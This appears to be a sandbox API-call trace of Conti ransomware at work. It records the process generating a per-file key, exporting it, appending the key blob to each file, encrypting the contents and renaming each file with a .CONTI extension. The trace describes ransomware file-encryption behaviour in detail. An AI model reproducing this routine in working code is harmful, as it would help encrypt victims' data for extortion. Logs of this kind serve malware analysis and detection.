	[0107.273] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml")) returned 0x20
	[0107.273] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0107.273] GetLastError () returned 0x0
	[0107.273] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=271) returned 1
	[0107.273] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.273] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.273] SetEndOfFile (hFile=0x390) returned 1
	[0107.274] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.274] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.274] WriteFile (in: hFile=0x390, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0107.276] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.276] ReadFile (in: hFile=0x390, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x10f, lpOverlapped=0x0) returned 1
	[0107.276] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x10f, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x110) returned 1
	[0107.276] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.276] WriteFile (in: hFile=0x390, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x110, lpOverlapped=0x0) returned 1
	[0107.276] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.276] WriteFile (in: hFile=0x390, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0107.276] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.276] CloseHandle (hObject=0x390) returned 1
	[0107.299] GetProcessHeap () returned 0x1720000
	[0107.299] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.299] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml"
	[0107.299] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.CONTI"
	[0107.299] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\masterdatastore.xml.conti")) returned 1
	[0107.320] GetProcessHeap () returned 0x1720000
	[0107.320] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.320] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.320] GetProcessHeap () returned 0x1720000
	[0107.321] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181ca18 | out: hHeap=0x1720000) returned 1
	[0107.321] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0108.118] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6512098 | out: phKey=0x6512098*=0x17c82b0) returned 1
	[0108.118] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x651209c, pdwDataLen=0x54bfc14 | out: pbData=0x651209c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0108.119] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0108.119] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.119] GetLastError () returned 0x0
	[0108.119] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=854) returned 1
	[0108.120] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x356
	[0108.120] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.120] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.120] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.120] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.120] WriteFile (in: hFile=0x3c4, lpBuffer=0x651209c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x651209c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0108.122] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.122] ReadFile (in: hFile=0x3c4, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x356, lpOverlapped=0x0) returned 1
	[0108.122] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x356, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x360) returned 1
	[0108.122] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.122] WriteFile (in: hFile=0x3c4, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x360, lpOverlapped=0x0) returned 1
	[0108.122] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.122] WriteFile (in: hFile=0x3c4, lpBuffer=0x6512090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6512090*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0108.122] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.122] CloseHandle (hObject=0x3c4) returned 1
	[0108.122] GetProcessHeap () returned 0x1720000
	[0108.122] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.122] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml"
	[0108.122] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.CONTI"
	[0108.123] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0108.123] GetProcessHeap () returned 0x1720000
	[0108.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.123] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.123] GetProcessHeap () returned 0x1720000
	[0108.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bce48 | out: hHeap=0x1720000) returned 1
	[0108.123] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0108.382] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c85b0) returned 1
	[0108.382] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x54bfc14 | out: pbData=0x17d58c4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0108.657] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0110.075] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.079] GetLastError () returned 0x0
	[0110.080] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=724) returned 1
	[0110.080] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0110.080] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.080] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.094] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.094] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.094] WriteFile (in: hFile=0x3e0, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.104] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.104] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2d4, lpOverlapped=0x0) returned 1
	[0110.104] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d4, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2e0) returned 1
	[0110.105] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.105] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.105] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.105] WriteFile (in: hFile=0x3e0, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.105] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.105] CloseHandle (hObject=0x3e0) returned 1
	[0110.105] GetProcessHeap () returned 0x1720000
	[0110.105] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.105] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml"
	[0110.105] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.CONTI"
	[0110.105] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0110.106] GetProcessHeap () returned 0x1720000
	[0110.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.106] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0110.106] GetProcessHeap () returned 0x1720000
	[0110.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589390 | out: hHeap=0x1720000) returned 1
	[0110.106] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0110.106] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b74f90 | out: phKey=0x6b74f90*=0x6b7f678) returned 1
	[0110.106] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b74f94, pdwDataLen=0x54bfc14 | out: pbData=0x6b74f94*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0110.107] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.107] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\299__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.107] GetLastError () returned 0x0
	[0110.107] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=480) returned 1
	[0110.107] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0110.107] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.107] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.108] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.109] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.109] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b74f94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b74f94*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.110] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.110] ReadFile (in: hFile=0x3e0, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x1e0, lpOverlapped=0x0) returned 1
	[0110.110] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x1e0, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x1f0) returned 1
	[0110.111] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.111] WriteFile (in: hFile=0x3e0, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x1f0, lpOverlapped=0x0) returned 1
	[0110.111] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.111] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b74f88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b74f88*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0110.111] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.111] CloseHandle (hObject=0x3e0) returned 1
	[0110.111] GetProcessHeap () returned 0x1720000
	[0110.111] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.111] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0110.111] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\299__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
